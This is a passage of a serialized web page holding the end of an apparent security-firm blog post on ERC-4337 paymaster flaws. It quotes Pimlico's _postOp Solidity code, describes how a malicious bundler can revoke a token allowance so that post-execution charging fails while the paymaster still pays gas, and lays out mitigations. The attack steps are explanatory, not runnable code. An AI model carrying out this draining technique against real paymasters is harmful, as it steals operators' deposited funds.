mUserOp.paymasterPostOpGasLimit);\n",{"type":26,"tag":475,"props":106201,"children":106202},{"class":477,"line":1068},[106203],{"type":26,"tag":475,"props":106204,"children":106205},{"style":499},[106206],{"type":32,"value":1178},{"type":26,"tag":475,"props":106208,"children":106209},{"class":477,"line":1077},[106210],{"type":26,"tag":475,"props":106211,"children":106212},{"style":499},[106213],{"type":32,"value":741},{"type":26,"tag":475,"props":106215,"children":106216},{"class":477,"line":1090},[106217],{"type":26,"tag":475,"props":106218,"children":106219},{"style":499},[106220],{"type":32,"value":104233},{"type":26,"tag":475,"props":106222,"children":106223},{"class":477,"line":1119},[106224],{"type":26,"tag":475,"props":106225,"children":106226},{"style":499},[106227],{"type":32,"value":851},{"type":26,"tag":35,"props":106229,"children":106230},{},[106231,106233,106238,106240,106246,106248,106254,106256,106261,106263,106268,106270,106275,106277,106282,106284,106289,106291,106296],{"type":32,"value":106232},"It turns out that if the ",{"type":26,"tag":53,"props":106234,"children":106236},{"className":106235},[],[106237],{"type":32,"value":101813},{"type":32,"value":106239}," call fails, it will revert with ",{"type":26,"tag":53,"props":106241,"children":106243},{"className":106242},[],[106244],{"type":32,"value":106245},"PostOpReverted",{"type":32,"value":106247},". However, as we can see in the previous code of ",{"type":26,"tag":53,"props":106249,"children":106251},{"className":106250},[],[106252],{"type":32,"value":106253},"_executeUserOp",{"type":32,"value":106255},", even though ",{"type":26,"tag":53,"props":106257,"children":106259},{"className":106258},[],[106260],{"type":32,"value":104955},{"type":32,"value":106262}," fails, the execution won't revert. Instead, it will continue to make another ",{"type":26,"tag":53,"props":106264,"children":106266},{"className":106265},[],[106267],{"type":32,"value":105623},{"type":32,"value":106269}," call with ",{"type":26,"tag":53,"props":106271,"children":106273},{"className":106272},[],[106274],{"type":32,"value":105631},{"type":32,"value":106276}," mode, and it won't try to call ",{"type":26,"tag":53,"props":106278,"children":106280},{"className":106279},[],[106281],{"type":32,"value":101813},{"type":32,"value":106283}," again. This means the ",{"type":26,"tag":53,"props":106285,"children":106287},{"className":106286},[],[106288],{"type":32,"value":101674},{"type":32,"value":106290}," still gets paid for submitting the failed ",{"type":26,"tag":53,"props":106292,"children":106294},{"className":106293},[],[106295],{"type":32,"value":101614},{"type":32,"value":353},{"type":26,"tag":35,"props":106298,"children":106299},{},[106300,106302,106307,106309,106314,106316,106323],{"type":32,"value":106301},"Now that we understand this behavior where ",{"type":26,"tag":53,"props":106303,"children":106305},{"className":106304},[],[106306],{"type":32,"value":101813},{"type":32,"value":106308}," is allowed to fail while the ",{"type":26,"tag":53,"props":106310,"children":106312},{"className":106311},[],[106313],{"type":32,"value":101674},{"type":32,"value":106315}," still gets paid, let's examine a real-world example from the most widely used paymaster currently, which is the paymaster implemented by ",{"type":26,"tag":116,"props":106317,"children":106320},{"href":106318,"rel":106319},"https://github.com/pimlicolabs/singleton-paymaster/blob/feat/v8/src/SingletonPaymasterV7.sol",[120],[106321],{"type":32,"value":106322},"Pimlico",{"type":32,"value":353},{"type":26,"tag":465,"props":106325,"children":106327},{"className":4186,"code":106326,"language":4185,"meta":7,"style":7}," function _postOp(\n PostOpMode, /* mode */\n bytes calldata _context,\n uint256 _actualGasCost,\n uint256 _actualUserOpFeePerGas\n )\n internal\n {\n ERC20PostOpContext memory ctx = _parsePostOpContext(_context);\n\n uint256 expectedPenaltyGasCost = _expectedPenaltyGasCost(\n _actualGasCost, _actualUserOpFeePerGas, ctx.postOpGas, ctx.preOpGasApproximation, ctx.executionGasLimit\n );\n\n uint256 actualGasCost = _actualGasCost + expectedPenaltyGasCost;\n\n uint256 costInToken =\n getCostInToken(actualGasCost, ctx.postOpGas, _actualUserOpFeePerGas, ctx.exchangeRate) + ctx.constantFee;\n\n uint256 absoluteCostInToken =\n costInToken > ctx.preFundCharged ? costInToken - ctx.preFundCharged : ctx.preFundCharged - costInToken;\n\n SafeTransferLib.safeTransferFrom(\n ctx.token,\n costInToken > ctx.preFundCharged ? ctx.sender : ctx.treasury,\n costInToken > ctx.preFundCharged ? ctx.treasury : ctx.sender,\n absoluteCostInToken\n );\n\n uint256 preFundInToken = (ctx.preFund * ctx.exchangeRate) / 1e18;\n\n if (ctx.recipient != address(0) && preFundInToken > costInToken) {\n SafeTransferLib.safeTransferFrom(ctx.token, ctx.sender, ctx.recipient, preFundInToken - costInToken);\n }\n\n emit UserOperationSponsored(ctx.userOpHash, ctx.sender, ERC20_MODE, ctx.token, costInToken, ctx.exchangeRate);\n }\n",[106328],{"type":26,"tag":53,"props":106329,"children":106330},{"__ignoreMap":7},[106331,106346,106363,106383,106399,106411,106418,106425,106432,106463,106470,106495,106503,106510,106517,106546,106553,106569,106591,106598,106614,106664,106671,106687,106695,106728,106761,106769,106776,106783,106826,106833,106882,106908,106915,106922,106939],{"type":26,"tag":475,"props":106332,"children":106333},{"class":477,"line":478},[106334,106338,106342],{"type":26,"tag":475,"props":106335,"children":106336},{"style":482},[106337],{"type":32,"value":89451},{"type":26,"tag":475,"props":106339,"children":106340},{"style":493},[106341],{"type":32,"value":103215},{"type":26,"tag":475,"props":106343,"children":106344},{"style":499},[106345],{"type":32,"value":3169},{"type":26,"tag":475,"props":106347,"children":106348},{"class":477,"line":516},[106349,106354,106358],{"type":26,"tag":475,"props":106350,"children":106351},{"style":482},[106352],{"type":32,"value":106353}," PostOpMode",{"type":26,"tag":475,"props":106355,"children":106356},{"style":499},[106357],{"type":32,"value":637},{"type":26,"tag":475,"props":106359,"children":106360},{"style":552},[106361],{"type":32,"value":106362},"/* mode */\n",{"type":26,"tag":475,"props":106364,"children":106365},{"class":477,"line":539},[106366,106370,106374,106379],{"type":26,"tag":475,"props":106367,"children":106368},{"style":505},[106369],{"type":32,"value":105131},{"type":26,"tag":475,"props":106371,"children":106372},{"style":482},[106373],{"type":32,"value":102444},{"type":26,"tag":475,"props":106375,"children":106376},{"style":2375},[106377],{"type":32,"value":106378}," _context",{"type":26,"tag":475,"props":106380,"children":106381},{"style":499},[106382],{"type":32,"value":2425},{"type":26,"tag":475,"props":106384,"children":106385},{"class":477,"line":548},[106386,106390,106395],{"type":26,"tag":475,"props":106387,"children":106388},{"style":505},[106389],{"type":32,"value":89629},{"type":26,"tag":475,"props":106391,"children":106392},{"style":2375},[106393],{"type":32,"value":106394}," _actualGasCost",{"type":26,"tag":475,"props":106396,"children":106397},{"style":499},[106398],{"type":32,"value":2425},{"type":26,"tag":475,"props":106400,"children":106401},{"class":477,"line":558},[106402,106406],{"type":26,"tag":475,"props":106403,"children":106404},{"style":505},[106405],{"type":32,"value":89629},{"type":26,"tag":475,"props":106407,"children":106408},{"style":2375},[106409],{"type":32,"value":106410}," _actualUserOpFeePerGas\n",{"type":26,"tag":475,"props":106412,"children":106413},{"class":477,"line":582},[106414],{"type":26,"tag":475,"props":106415,"children":106416},{"style":499},[106417],{"type":32,"value":23620},{"type":26,"tag":475,"props":106419,"children":106420},{"class":477,"line":596},[106421],{"type":26,"tag":475,"props":106422,"children":106423},{"style":482},[106424],{"type":32,"value":102483},{"type":26,"tag":475,"props":106426,"children":106427},{"class":477,"line":610},[106428],{"type":26,"tag":475,"props":106429,"children":106430},{"style":499},[106431],{"type":32,"value":28889},{"type":26,"tag":475,"props":106433,"children":106434},{"class":477,"line":650},[106435,106440,106444,106449,106453,106458],{"type":26,"tag":475,"props":106436,"children":106437},{"style":499},[106438],{"type":32,"value":106439}," ERC20PostOpContext ",{"type":26,"tag":475,"props":106441,"children":106442},{"style":482},[106443],{"type":32,"value":75601},{"type":26,"tag":475,"props":106445,"children":106446},{"style":499},[106447],{"type":32,"value":106448}," ctx ",{"type":26,"tag":475,"props":106450,"children":106451},{"style":714},[106452],{"type":32,"value":786},{"type":26,"tag":475,"props":106454,"children":106455},{"style":493},[106456],{"type":32,"value":106457}," _parsePostOpContext",{"type":26,"tag":475,"props":106459,"children":106460},{"style":499},[106461],{"type":32,"value":106462},"(_context);\n",{"type":26,"tag":475,"props":106464,"children":106465},{"class":477,"line":679},[106466],{"type":26,"tag":475,"props":106467,"children":106468},{"emptyLinePlaceholder":18},[106469],{"type":32,"value":545},{"type":26,"tag":475,"props":106471,"children":106472},{"class":477,"line":735},[106473,106477,106482,106486,106491],{"type":26,"tag":475,"props":106474,"children":106475},{"style":505},[106476],{"type":32,"value":89629},{"type":26,"tag":475,"props":106478,"children":106479},{"style":499},[106480],{"type":32,"value":106481}," expectedPenaltyGasCost ",{"type":26,"tag":475,"props":106483,"children":106484},{"style":714},[106485],{"type":32,"value":786},{"type":26,"tag":475,"props":106487,"children":106488},{"style":493},[106489],{"type":32,"value":106490}," _expectedPenaltyGasCost",{"type":26,"tag":475,"props":106492,"children":106493},{"style":499},[106494],{"type":32,"value":3169},{"type":26,"tag":475,"props":106496,"children":106497},{"class":477,"line":744},[106498],{"type":26,"tag":475,"props":106499,"children":106500},{"style":499},[106501],{"type":32,"value":106502}," _actualGasCost, _actualUserOpFeePerGas, ctx.postOpGas, ctx.preOpGasApproximation, ctx.executionGasLimit\n",{"type":26,"tag":475,"props":106504,"children":106505},{"class":477,"line":753},[106506],{"type":26,"tag":475,"props":106507,"children":106508},{"style":499},[106509],{"type":32,"value":7455},{"type":26,"tag":475,"props":106511,"children":106512},{"class":477,"line":761},[106513],{"type":26,"tag":475,"props":106514,"children":106515},{"emptyLinePlaceholder":18},[106516],{"type":32,"value":545},{"type":26,"tag":475,"props":106518,"children":106519},{"class":477,"line":770},[106520,106524,106528,106532,106537,106541],{"type":26,"tag":475,"props":106521,"children":106522},{"style":505},[106523],{"type":32,"value":89629},{"type":26,"tag":475,"props":106525,"children":106526},{"style":499},[106527],{"type":32,"value":103539},{"type":26,"tag":475,"props":106529,"children":106530},{"style":714},[106531],{"type":32,"value":786},{"type":26,"tag":475,"props":106533,"children":106534},{"style":499},[106535],{"type":32,"value":106536}," _actualGasCost ",{"type":26,"tag":475,"props":106538,"children":106539},{"style":714},[106540],{"type":32,"value":1106},{"type":26,"tag":475,"props":106542,"children":106543},{"style":499},[106544],{"type":32,"value":106545}," expectedPenaltyGasCost;\n",{"type":26,"tag":475,"props":106547,"children":106548},{"class":477,"line":794},[106549],{"type":26,"tag":475,"props":106550,"children":106551},{"emptyLinePlaceholder":18},[106552],{"type":32,"value":545},{"type":26,"tag":475,"props":106554,"children":106555},{"class":477,"line":831},[106556,106560,106565],{"type":26,"tag":475,"props":106557,"children":106558},{"style":505},[106559],{"type":32,"value":89629},{"type":26,"tag":475,"props":106561,"children":106562},{"style":499},[106563],{"type":32,"value":106564}," costInToken ",{"type":26,"tag":475,"props":106566,"children":106567},{"style":714},[106568],{"type":32,"value":14400},{"type":26,"tag":475,"props":106570,"children":106571},{"class":477,"line":845},[106572,106577,106582,106586],{"type":26,"tag":475,"props":106573,"children":106574},{"style":493},[106575],{"type":32,"value":106576}," getCostInToken",{"type":26,"tag":475,"props":106578,"children":106579},{"style":499},[106580],{"type":32,"value":106581},"(actualGasCost, ctx.postOpGas, _actualUserOpFeePerGas, ctx.exchangeRate) ",{"type":26,"tag":475,"props":106583,"children":106584},{"style":714},[106585],{"type":32,"value":1106},{"type":26,"tag":475,"props":106587,"children":106588},{"style":499},[106589],{"type":32,"value":106590}," ctx.constantFee;\n",{"type":26,"tag":475,"props":106592,"children":106593},{"class":477,"line":854},[106594],{"type":26,"tag":475,"props":106595,"children":106596},{"emptyLinePlaceholder":18},[106597],{"type":32,"value":545},{"type":26,"tag":475,"props":106599,"children":106600},{"class":477,"line":862},[106601,106605,106610],{"type":26,"tag":475,"props":106602,"children":106603},{"style":505},[106604],{"type":32,"value":89629},{"type":26,"tag":475,"props":106606,"children":106607},{"style":499},[106608],{"type":32,"value":106609}," absoluteCostInToken ",{"type":26,"tag":475,"props":106611,"children":106612},{"style":714},[106613],{"type":32,"value":14400},{"type":26,"tag":475,"props":106615,"children":106616},{"class":477,"line":885},[106617,106622,106626,106631,106635,106639,106643,106647,106651,106655,106659],{"type":26,"tag":475,"props":106618,"children":106619},{"style":499},[106620],{"type":32,"value":106621}," costInToken ",{"type":26,"tag":475,"props":106623,"children":106624},{"style":714},[106625],{"type":32,"value":10170},{"type":26,"tag":475,"props":106627,"children":106628},{"style":499},[106629],{"type":32,"value":106630}," ctx.preFundCharged ",{"type":26,"tag":475,"props":106632,"children":106633},{"style":714},[106634],{"type":32,"value":2863},{"type":26,"tag":475,"props":106636,"children":106637},{"style":499},[106638],{"type":32,"value":106564},{"type":26,"tag":475,"props":106640,"children":106641},{"style":714},[106642],{"type":32,"value":4039},{"type":26,"tag":475,"props":106644,"children":106645},{"style":499},[106646],{"type":32,"value":106630},{"type":26,"tag":475,"props":106648,"children":106649},{"style":714},[106650],{"type":32,"value":179},{"type":26,"tag":475,"props":106652,"children":106653},{"style":499},[106654],{"type":32,"value":106630},{"type":26,"tag":475,"props":106656,"children":106657},{"style":714},[106658],{"type":32,"value":4039},{"type":26,"tag":475,"props":106660,"children":106661},{"style":499},[106662],{"type":32,"value":106663}," costInToken;\n",{"type":26,"tag":475,"props":106665,"children":106666},{"class":477,"line":913},[106667],{"type":26,"tag":475,"props":106668,"children":106669},{"emptyLinePlaceholder":18},[106670],{"type":32,"value":545},{"type":26,"tag":475,"props":106672,"children":106673},{"class":477,"line":926},[106674,106679,106683],{"type":26,"tag":475,"props":106675,"children":106676},{"style":499},[106677],{"type":32,"value":106678}," SafeTransferLib.",{"type":26,"tag":475,"props":106680,"children":106681},{"style":493},[106682],{"type":32,"value":103070},{"type":26,"tag":475,"props":106684,"children":106685},{"style":499},[106686],{"type":32,"value":3169},{"type":26,"tag":475,"props":106688,"children":106689},{"class":477,"line":948},[106690],{"type":26,"tag":475,"props":106691,"children":106692},{"style":499},[106693],{"type":32,"value":106694}," ctx.token,\n",{"type":26,"tag":475,"props":106696,"children":106697},{"class":477,"line":966},[106698,106702,106706,106710,106714,106719,106723],{"type":26,"tag":475,"props":106699,"children":106700},{"style":499},[106701],{"type":32,"value":106621},{"type":26,"tag":475,"props":106703,"children":106704},{"style":714},[106705],{"type":32,"value":10170},{"type":26,"tag":475,"props":106707,"children":106708},{"style":499},[106709],{"type":32,"value":106630},{"type":26,"tag":475,"props":106711,"children":106712},{"style":714},[106713],{"type":32,"value":2863},{"type":26,"tag":475,"props":106715,"children":106716},{"style":499},[106717],{"type":32,"value":106718}," ctx.sender ",{"type":26,"tag":475,"props":106720,"children":106721},{"style":714},[106722],{"type":32,"value":179},{"type":26,"tag":475,"props":106724,"children":106725},{"style":499},[106726],{"type":32,"value":106727}," ctx.treasury,\n",{"type":26,"tag":475,"props":106729,"children":106730},{"class":477,"line":979},[106731,106735,106739,106743,106747,106752,106756],{"type":26,"tag":475,"props":106732,"children":106733},{"style":499},[106734],{"type":32,"value":106621},{"type":26,"tag":475,"props":106736,"children":106737},{"style":714},[106738],{"type":32,"value":10170},{"type":26,"tag":475,"props":106740,"children":106741},{"style":499},[106742],{"type":32,"value":106630},{"type":26,"tag":475,"props":106744,"children":106745},{"style":714},[106746],{"type":32,"value":2863},{"type":26,"tag":475,"props":106748,"children":106749},{"style":499},[106750],{"type":32,"value":106751}," ctx.treasury ",{"type":26,"tag":475,"props":106753,"children":106754},{"style":714},[106755],{"type":32,"value":179},{"type":26,"tag":475,"props":106757,"children":106758},{"style":499},[106759],{"type":32,"value":106760}," ctx.sender,\n",{"type":26,"tag":475,"props":106762,"children":106763},{"class":477,"line":1006},[106764],{"type":26,"tag":475,"props":106765,"children":106766},{"style":499},[106767],{"type":32,"value":106768}," absoluteCostInToken\n",{"type":26,"tag":475,"props":106770,"children":106771},{"class":477,"line":1046},[106772],{"type":26,"tag":475,"props":106773,"children":106774},{"style":499},[106775],{"type":32,"value":7455},{"type":26,"tag":475,"props":106777,"children":106778},{"class":477,"line":1068},[106779],{"type":26,"tag":475,"props":106780,"children":106781},{"emptyLinePlaceholder":18},[106782],{"type":32,"value":545},{"type":26,"tag":475,"props":106784,"children":106785},{"class":477,"line":1077},[106786,106790,106795,106799,106804,106808,106813,106817,106822],{"type":26,"tag":475,"props":106787,"children":106788},{"style":505},[106789],{"type":32,"value":89629},{"type":26,"tag":475,"props":106791,"children":106792},{"style":499},[106793],{"type":32,"value":106794}," preFundInToken ",{"type":26,"tag":475,"props":106796,"children":106797},{"style":714},[106798],{"type":32,"value":786},{"type":26,"tag":475,"props":106800,"children":106801},{"style":499},[106802],{"type":32,"value":106803}," (ctx.preFund ",{"type":26,"tag":475,"props":106805,"children":106806},{"style":714},[106807],{"type":32,"value":4282},{"type":26,"tag":475,"props":106809,"children":106810},{"style":499},[106811],{"type":32,"value":106812}," ctx.exchangeRate) ",{"type":26,"tag":475,"props":106814,"children":106815},{"style":714},[106816],{"type":32,"value":4292},{"type":26,"tag":475,"props":106818,"children":106819},{"style":903},[106820],{"type":32,"value":106821}," 1e18",{"type":26,"tag":475,"props":106823,"children":106824},{"style":499},[106825],{"type":32,"value":2729},{"type":26,"tag":475,"props":106827,"children":106828},{"class":477,"line":1090},[106829],{"type":26,"tag":475,"props":106830,"children":106831},{"emptyLinePlaceholder":18},[106832],{"type":32,"value":545},{"type":26,"tag":475,"props":106834,"children":106835},{"class":477,"line":1119},[106836,106840,106845,106849,106853,106857,106861,106865,106869,106873,106877],{"type":26,"tag":475,"props":106837,"children":106838},{"style":586},[106839],{"type":32,"value":2980},{"type":26,"tag":475,"props":106841,"children":106842},{"style":499},[106843],{"type":32,"value":106844}," (ctx.recipient ",{"type":26,"tag":475,"props":106846,"children":106847},{"style":714},[106848],{"type":32,"value":15394},{"type":26,"tag":475,"props":106850,"children":106851},{"style":505},[106852],{"type":32,"value":5963},{"type":26,"tag":475,"props":106854,"children":106855},{"style":499},[106856],{"type":32,"value":626},{"type":26,"tag":475,"props":106858,"children":106859},{"style":903},[106860],{"type":32,"value":3732},{"type":26,"tag":475,"props":106862,"children":106863},{"style":499},[106864],{"type":32,"value":2794},{"type":26,"tag":475,"props":106866,"children":106867},{"style":714},[106868],{"type":32,"value":72824},{"type":26,"tag":475,"props":106870,"children":106871},{"style":499},[106872],{"type":32,"value":106794},{"type":26,"tag":475,"props":106874,"children":106875},{"style":714},[106876],{"type":32,"value":10170},{"type":26,"tag":475,"props":106878,"children":106879},{"style":499},[106880],{"type":32,"value":106881}," costInToken) {\n",{"type":26,"tag":475,"props":106883,"children":106884},{"class":477,"line":1132},[106885,106890,106894,106899,106903],{"type":26,"tag":475,"props":106886,"children":106887},{"style":499},[106888],{"type":32,"value":106889}," SafeTransferLib.",{"type":26,"tag":475,"props":106891,"children":106892},{"style":493},[106893],{"type":32,"value":103070},{"type":26,"tag":475,"props":106895,"children":106896},{"style":499},[106897],{"type":32,"value":106898},"(ctx.token, ctx.sender, ctx.recipient, preFundInToken ",{"type":26,"tag":475,"props":106900,"children":106901},{"style":714},[106902],{"type":32,"value":4039},{"type":26,"tag":475,"props":106904,"children":106905},{"style":499},[106906],{"type":32,"value":106907}," costInToken);\n",{"type":26,"tag":475,"props":106909,"children":106910},{"class":477,"line":1146},[106911],{"type":26,"tag":475,"props":106912,"children":106913},{"style":499},[106914],{"type":32,"value":750},{"type":26,"tag":475,"props":106916,"children":106917},{"class":477,"line":1155},[106918],{"type":26,"tag":475,"props":106919,"children":106920},{"emptyLinePlaceholder":18},[106921],{"type":32,"value":545},{"type":26,"tag":475,"props":106923,"children":106924},{"class":477,"line":1163},[106925,106930,106934],{"type":26,"tag":475,"props":106926,"children":106927},{"style":586},[106928],{"type":32,"value":106929}," emit",{"type":26,"tag":475,"props":106931,"children":106932},{"style":493},[106933],{"type":32,"value":103804},{"type":26,"tag":475,"props":106935,"children":106936},{"style":499},[106937],{"type":32,"value":106938},"(ctx.userOpHash, ctx.sender, ERC20_MODE, ctx.token, costInToken, ctx.exchangeRate);\n",{"type":26,"tag":475,"props":106940,"children":106941},{"class":477,"line":1172},[106942],{"type":26,"tag":475,"props":106943,"children":106944},{"style":499},[106945],{"type":32,"value":851},{"type":26,"tag":35,"props":106947,"children":106948},{},[106949,106951,106956,106958,106964,106966,106972,106974,106979,106981,106986],{"type":32,"value":106950},"As shown above, the paymaster calculates the actual gas used and attempts to charge the user by calling ",{"type":26,"tag":53,"props":106952,"children":106954},{"className":106953},[],[106955],{"type":32,"value":103070},{"type":32,"value":106957},". Note that ",{"type":26,"tag":53,"props":106959,"children":106961},{"className":106960},[],[106962],{"type":32,"value":106963},"preFundCharged",{"type":32,"value":106965}," can be zero, as users can opt out of any ",{"type":26,"tag":53,"props":106967,"children":106969},{"className":106968},[],[106970],{"type":32,"value":106971},"preFund",{"type":32,"value":106973}," during the validation phase. If the user hasn't given sufficient allowance to Pimlico's paymaster for the transfer, the ",{"type":26,"tag":53,"props":106975,"children":106977},{"className":106976},[],[106978],{"type":32,"value":103871},{"type":32,"value":106980}," call inside ",{"type":26,"tag":53,"props":106982,"children":106984},{"className":106983},[],[106985],{"type":32,"value":104955},{"type":32,"value":106987}," will revert and the paymaster won't be able to collect payment from the user.",{"type":26,"tag":35,"props":106989,"children":106990},{},[106991,106993,106998,107000,107006,107008,107014],{"type":32,"value":106992},"However, even when ",{"type":26,"tag":53,"props":106994,"children":106996},{"className":106995},[],[106997],{"type":32,"value":103871},{"type":32,"value":106999}," fails, the EntryPoint will still complete the execution and pay the bundler who submitted it. Importantly, this payment comes from the paymaster's deposit, since during validation the ",{"type":26,"tag":53,"props":107001,"children":107003},{"className":107002},[],[107004],{"type":32,"value":107005},"requiredPrefund",{"type":32,"value":107007}," was taken from the paymaster's ",{"type":26,"tag":116,"props":107009,"children":107012},{"href":107010,"rel":107011},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L625-L627",[120],[107013],{"type":32,"value":61655},{"type":32,"value":353},{"type":26,"tag":35,"props":107016,"children":107017},{},[107018,107020,107025],{"type":32,"value":107019},"This creates a critical vulnerability for paymasters that implement post-execution charging patterns. Even if the ",{"type":26,"tag":53,"props":107021,"children":107023},{"className":107022},[],[107024],{"type":32,"value":103871},{"type":32,"value":107026}," call fails (meaning the paymaster couldn't collect payment from the user), the paymaster still has to pay the bundler's gas costs from their deposited funds. This vulnerability can be exploited by malicious bundlers in the following way:",{"type":26,"tag":181,"props":107028,"children":107029},{},[107030,107048,107067,107078,107083],{"type":26,"tag":86,"props":107031,"children":107032},{},[107033,107035,107040,107042],{"type":32,"value":107034},"The bundler creates a ",{"type":26,"tag":53,"props":107036,"children":107038},{"className":107037},[],[107039],{"type":32,"value":101614},{"type":32,"value":107041}," with an intentionally high ",{"type":26,"tag":53,"props":107043,"children":107045},{"className":107044},[],[107046],{"type":32,"value":107047},"gasPrice",{"type":26,"tag":86,"props":107049,"children":107050},{},[107051,107053,107058,107060,107065],{"type":32,"value":107052},"The bundler ensures the ",{"type":26,"tag":53,"props":107054,"children":107056},{"className":107055},[],[107057],{"type":32,"value":103871},{"type":32,"value":107059}," call will fail by revoking the paymaster's token allowance before ",{"type":26,"tag":53,"props":107061,"children":107063},{"className":107062},[],[107064],{"type":32,"value":103871},{"type":32,"value":107066}," executes",{"type":26,"tag":86,"props":107068,"children":107069},{},[107070,107071,107076],{"type":32,"value":63047},{"type":26,"tag":53,"props":107072,"children":107074},{"className":107073},[],[107075],{"type":32,"value":103871},{"type":32,"value":107077}," fails, the bundler still gets paid their high gas costs by the paymaster",{"type":26,"tag":86,"props":107079,"children":107080},{},[107081],{"type":32,"value":107082},"The paymaster loses money since they paid the bundler but couldn't collect from the user",{"type":26,"tag":86,"props":107084,"children":107085},{},[107086],{"type":32,"value":107087},"The bundler profits as long as their actual gas costs are less than what they charged",{"type":26,"tag":35,"props":107089,"children":107090},{},[107091,107093,107098,107100,107105],{"type":32,"value":107092},"This effectively allows bundlers to drain paymaster deposits by submitting ",{"type":26,"tag":53,"props":107094,"children":107096},{"className":107095},[],[107097],{"type":32,"value":101643},{"type":32,"value":107099}," designed to fail during ",{"type":26,"tag":53,"props":107101,"children":107103},{"className":107102},[],[107104],{"type":32,"value":103871},{"type":32,"value":107106}," while maximizing the gas costs they can charge to the paymaster.",{"type":26,"tag":35,"props":107108,"children":107109},{},[107110,107112,107117,107119,107124,107126,107132,107134,107139],{"type":32,"value":107111},"Some paymasters try to protect against this by simulating the ",{"type":26,"tag":53,"props":107113,"children":107115},{"className":107114},[],[107116],{"type":32,"value":101614},{"type":32,"value":107118}," execution before signing and allowing it to be submitted. However, this protection can be easily bypassed because an attacker can simply approve the required token allowance during simulation to pass validation, but then revoke the allowance just before the ",{"type":26,"tag":53,"props":107120,"children":107122},{"className":107121},[],[107123],{"type":32,"value":101614},{"type":32,"value":107125}," is submitted via ",{"type":26,"tag":53,"props":107127,"children":107129},{"className":107128},[],[107130],{"type":32,"value":107131},"handleOps",{"type":32,"value":107133},". This means the ",{"type":26,"tag":53,"props":107135,"children":107137},{"className":107136},[],[107138],{"type":32,"value":103871},{"type":32,"value":107140}," will pass simulation but fail during actual execution, allowing the bundler to drain the paymaster's deposit from the EntryPoint.",{"type":26,"tag":35,"props":107142,"children":107143},{},[107144],{"type":32,"value":107145},"To protect against this vulnerability, paymasters should implement pre-execution charging patterns rather than post-execution charging. This means requiring users to pre-fund the full estimated gas cost during the validation phase, before the operation executes. By collecting payment upfront, the paymaster is protected against failed post-execution transfers that could be exploited by malicious bundlers.",{"type":26,"tag":35,"props":107147,"children":107148},{},[107149],{"type":32,"value":107150},"If post-execution charging is absolutely necessary for UX reasons, paymasters have several mitigation strategies available. One approach is to restrict usage to a whitelist of trusted bundlers, though this introduces centralization concerns. Alternatively, Pimlico tries to address this issue by tightening API limits and constraining ERC-20 usage for its users.",{"type":26,"tag":35,"props":107152,"children":107153},{},[107154],{"type":32,"value":107155},"The most secure approach is to require upfront pre-funding, even though it may temporarily lock more user funds. This small UX tradeoff is worth the strong security guarantees it provides against paymaster exploitation.",{"type":26,"tag":35068,"props":107157,"children":107158},{"id":2533},[107159],{"type":32,"value":2536},{"type":26,"tag":35,"props":107161,"children":107162},{},[107163],{"type":32,"value":107164},"ERC-4337 paymasters enable powerful new UX patterns by abstracting away gas costs from end users. However, implementing them securely requires careful consideration of the standard's execution flow and potential attack vectors. The key lessons are:",{"type":26,"tag":181,"props":107166,"children":107167},{},[107168,107173,107178,107183,107188],{"type":26,"tag":86,"props":107169,"children":107170},{},[107171],{"type":32,"value":107172},"Always collect full payment during validation, not after execution",{"type":26,"tag":86,"props":107174,"children":107175},{},[107176],{"type":32,"value":107177},"Be conservative with gas estimations and include safety margins",{"type":26,"tag":86,"props":107179,"children":107180},{},[107181],{"type":32,"value":107182},"Carefully validate all user inputs and token transfers",{"type":26,"tag":86,"props":107184,"children":107185},{},[107186],{"type":32,"value":107187},"Test extensively, including simulation of malicious behavior",{"type":26,"tag":86,"props":107189,"children":107190},{},[107191,107193,107198],{"type":32,"value":107192},"Always review changes in new ",{"type":26,"tag":53,"props":107194,"children":107196},{"className":107195},[],[107197],{"type":32,"value":101695},{"type":32,"value":107199}," versions, as they may impact your paymaster's design and security assumptions",{"type":26,"tag":35,"props":107201,"children":107202},{},[107203,107205,107210,107212,107217,107219,107224],{"type":32,"value":107204},"The last point is particularly important as the ERC-4337 standard continues to evolve. Changes to the ",{"type":26,"tag":53,"props":107206,"children":107208},{"className":107207},[],[107209],{"type":32,"value":101695},{"type":32,"value":107211}," contract's behavior could potentially break existing ",{"type":26,"tag":53,"props":107213,"children":107215},{"className":107214},[],[107216],{"type":32,"value":101767},{"type":32,"value":107218}," implementations or introduce new security considerations. Developers should thoroughly review release notes and diffs when upgrading to new ",{"type":26,"tag":53,"props":107220,"children":107222},{"className":107221},[],[107223],{"type":32,"value":101695},{"type":32,"value":107225}," versions.",{"type":26,"tag":35,"props":107227,"children":107228},{},[107229],{"type":32,"value":107230},"By following these best practices, developers can build robust paymasters that enhance UX while protecting against exploitation. As the ERC-4337 ecosystem matures, secure paymaster implementations will be crucial for driving mainstream adoption of account abstraction.",{"type":26,"tag":35,"props":107232,"children":107233},{},[107234],{"type":32,"value":107235},"If you're building a paymaster and want to ensure it's secure against these and other vulnerabilities, consider getting an audit from us. Our team has extensive experience auditing ERC-4337 implementations and can help identify potential security issues before they impact production.",{"type":26,"tag":2548,"props":107237,"children":107238},{},[107239],{"type":32,"value":2552},{"title":7,"searchDepth":516,"depth":516,"links":107241},[107242,107243,107244,107251,107256,107257],{"id":101529,"depth":516,"text":101532},{"id":101545,"depth":516,"text":101548},{"id":101584,"depth":516,"text":101587,"children":107245},[107246,107247,107248,107249,107250],{"id":101607,"depth":539,"text":101614},{"id":101648,"depth":539,"text":101651},{"id":101674,"depth":539,"text":101677},{"id":14430,"depth":539,"text":101695},{"id":101767,"depth":539,"text":101778},{"id":101830,"depth":516,"text":107252,"children":107253},"Understanding the EntryPoint's Flow",[107254,107255],{"id":101886,"depth":539,"text":101889},{"id":102071,"depth":539,"text":102074},{"id":102314,"depth":516,"text":102320},{"id":103914,"depth":516,"text":103920,"children":107258},[107259,107260],{"id":103974,"depth":539,"text":103977},{"id":104034,"depth":539,"text":104037},"content:blog:2025-12-02-paymasters-evm.md","blog/2025-12-02-paymasters-evm.md","blog/2025-12-02-paymasters-evm",{"_path":107265,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":107266,"description":107267,"date":107268,"author":107269,"image":107272,"isFeatured":18,"onBlogPage":18,"tags":107274,"body":107276,"_type":2566,"_id":123081,"_source":2568,"_file":123082,"_stem":123083,"_extension":2571},"/blog/2026-03-03-zkvms-unfaithful-claims","Unfaithful Claims: Breaking 6 zkVMs","A zkVM verifier should be faithful to one thing above all else: its public claims. Yet we found six systems where this guarantee breaks. Learn how a subtle ordering bug lets an attacker bypass the cryptography entirely and prove mathematically impossible 